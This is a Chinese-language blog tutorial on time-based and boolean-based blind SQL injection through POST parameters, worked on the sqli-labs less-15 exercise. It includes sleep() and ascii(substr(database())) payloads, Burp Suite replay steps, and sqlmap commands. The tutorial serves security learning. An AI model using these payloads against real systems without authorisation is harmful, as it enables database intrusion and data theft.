【安全】P 2-10 POST基于时间与布尔盲注

目录

0X01 HTTP POST介绍

POST 发送数据给服务器处理,数据包含在HTTP信息正文中
POST请求会向指定资源提交数据,请求服务器进行处理,如:表单数据提交、文件上传等,请求数据会被包含在请求体中。
POST方法可能会创建新的资源或/和修改现有资源。
使用POST方法时,查询字符串在POST信息中单独存在,和HTTP请求一起发送到服务器

0X02 POST基于时间的盲注

在存在注入点POST提交的参数后加 and if (length(database())>5,sleep(5),null)。
如果执行的页面响应时间大于5秒,那么肯定就存在注入,并且对应的SQL语句执行。
less-15 POST - Blind- Boolian/time Based - Single quotes (基于bool型/时间延迟单引号POST型盲注)
【安全】P 2-10 POST基于时间与布尔盲注

使用burp suite抓包
【安全】P 2-10 POST基于时间与布尔盲注

放置进重放模块进行操作,右下角正常操作反应时间是2S
【安全】P 2-10 POST基于时间与布尔盲注

进行注入,右下角显示响应时间是7S
【安全】P 2-10 POST基于时间与布尔盲注

由此判断语句再SQL数据库中被执行
然后基于时间进行逐步猜解

0X03 POST基于布尔的盲注

在存在注入点POST提交的参数后加入if判断正确或错误的语句。
length(databse());
substr(databse(),1,1);
ascii(substr(database(),1,1));
ascii(substr(database(),1,1)) > N;
ascii(substr(database(),1,1)) = N;
ascii(substr(database(),1,1)) < N;
【安全】P 2-10 POST基于时间与布尔盲注
【安全】P 2-10 POST基于时间与布尔盲注

长度等于8的时候显示flag,由此确定数据库名长度为8
同样的方法,根据返回的数据不同进行猜解

0X04 Sqlmap安全测试

在Sqlmap中指点探测技术使用–technique T(time) B(boolean)。

我们先将POST信息粘贴到sqlmap文件夹下
【安全】P 2-10 POST基于时间与布尔盲注

···
sqlmap.py -r log.txt --technique T -p uname
···
【安全】P 2-10 POST基于时间与布尔盲注

···
sqlmap.py -r log.txt --technique B --level 3 --risk 3
···

【安全】P 2-10 POST基于时间与布尔盲注

-----E-----N-----D-----

上一篇:【牛客网】数一数


下一篇:Leetcode 罗马数字转整数